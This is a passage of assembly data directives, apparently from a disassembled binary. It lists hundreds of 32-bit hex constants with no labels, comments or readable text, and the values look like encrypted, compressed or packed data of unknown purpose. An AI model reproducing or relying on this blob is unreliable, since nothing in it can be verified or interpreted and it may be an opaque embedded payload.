dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h
dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h
dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh
dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh
dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h
dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h
dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h
dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h
dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah
dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h
dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah
dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah
dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch
dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h
dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h
dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh
dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h
dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h
dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh
dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h
dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah
dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h
dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh
dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h
dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h
dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h
dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h
dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h
dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h
dd 480FDF05h
dd 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah, 9C472C3Fh
dd 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h
dd 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h
dd 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h
dd 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h
dd 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h
dd 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h
dd 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h
dd 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h
dd 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh
dd 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h
dd 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch
dd 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh, 0B4B80A62h
dd 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h
dd 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h
dd 18890235h, 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch
dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
dd 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h
dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h
dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh
dd 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h
dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh
dd 6E407980h, 1081322h, 88191D90h, 1E101D02h, 3E071E04h
dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h
dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh
dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
dd 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h
dd 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh
dd 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h
dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h
dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h
dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh
dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh
dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh
dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
dd 535E3Ah, 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh
dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch
dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
dd 479430Bh, 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h
dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h
dd 8788021h, 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh
dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h
dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h
dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh
dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh
dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
dd 76968CBh, 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h
dd 6404B290h, 0F0F251h, 725411D8h, 736E6103h, 74656D00h
dd 437C19B6h, 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h
dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh
dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
dd 3641378h, 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh
dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h, 218068DBh
dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h
dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh
dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh
dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
dd 30B62A12h, 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh
dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
dd 4B829AEh, 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh
dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h
dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h
dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h
dd 5CBA0B4Eh, 4801FBC9h
dd 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h
dd 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h
dd 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h
dd 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh
dd 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh, 0C0FA67A3h
dd 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh
dd 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h
dd 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h
dd 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h
dd 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h
dd 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h
dd 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h
dd 2AE15B18h, 0A4EFB0h, 98CE92BFh, 7E591277h, 0B409C401h
dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh
dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh
dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h, 2601E7A0h
dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h, 156719C8h
dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch
dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
dd 14EEAE8h, 8FDDCEEAh, 0D4C709D2h, 0C60FE099h, 0E02AB67Ah
dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh, 0BF2A9E03h
dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch, 21C144C0h
dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h, 3D0C36E3h
dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h, 1643C394h
dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h, 2CFEF084h
dd 0CAEE65h, 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh
dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h
dd 8D8263BCh, 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h
dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h
dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h
dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh
dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h
dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h
dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h
dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
dd 31A1866h, 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h
dd 73A381Ch, 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah
dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh
dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
dd 38A473h, 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh
dd 8E1F3EACh, 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h
dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh
dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah
dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch
dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h
dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h, 2E10033h
dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh
dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh
dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h
dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
dd 54015DE7h, 0C0A38C1Bh
dd 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h, 0C4DA1400h
dd 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h, 44EC3700h
dd 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h, 19F7EAA7h
dd 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h, 0C74543E4h
dd 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h, 30AE2040h
dd 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h, 0DEE7A627h
dd 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh, 763BC812h
dd 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh, 0B8C0BC4Eh
dd 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h, 148D7A37h
dd 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h, 884740BDh
dd 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h, 0F75C2C00h
dd 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh, 61BBC007h
dd 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h, 57ADCC67h
dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh
dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h
dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch
dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah, 3E3BA908h
dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah, 3E1378D4h
dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah, 0AAAA875h
dd 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h, 2AD0AF60h
dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
dd 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h, 952AA2B8h
dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h, 87EB50EBh
dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch, 91342338h
dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh, 3F30D4h
dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
dd 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h, 9B3FEB00h
dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h, 0E8A5E983h
dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
dd 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh, 22F35EDEh
dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h
dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
dd 422ABE3h, 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h
dd 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h
dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
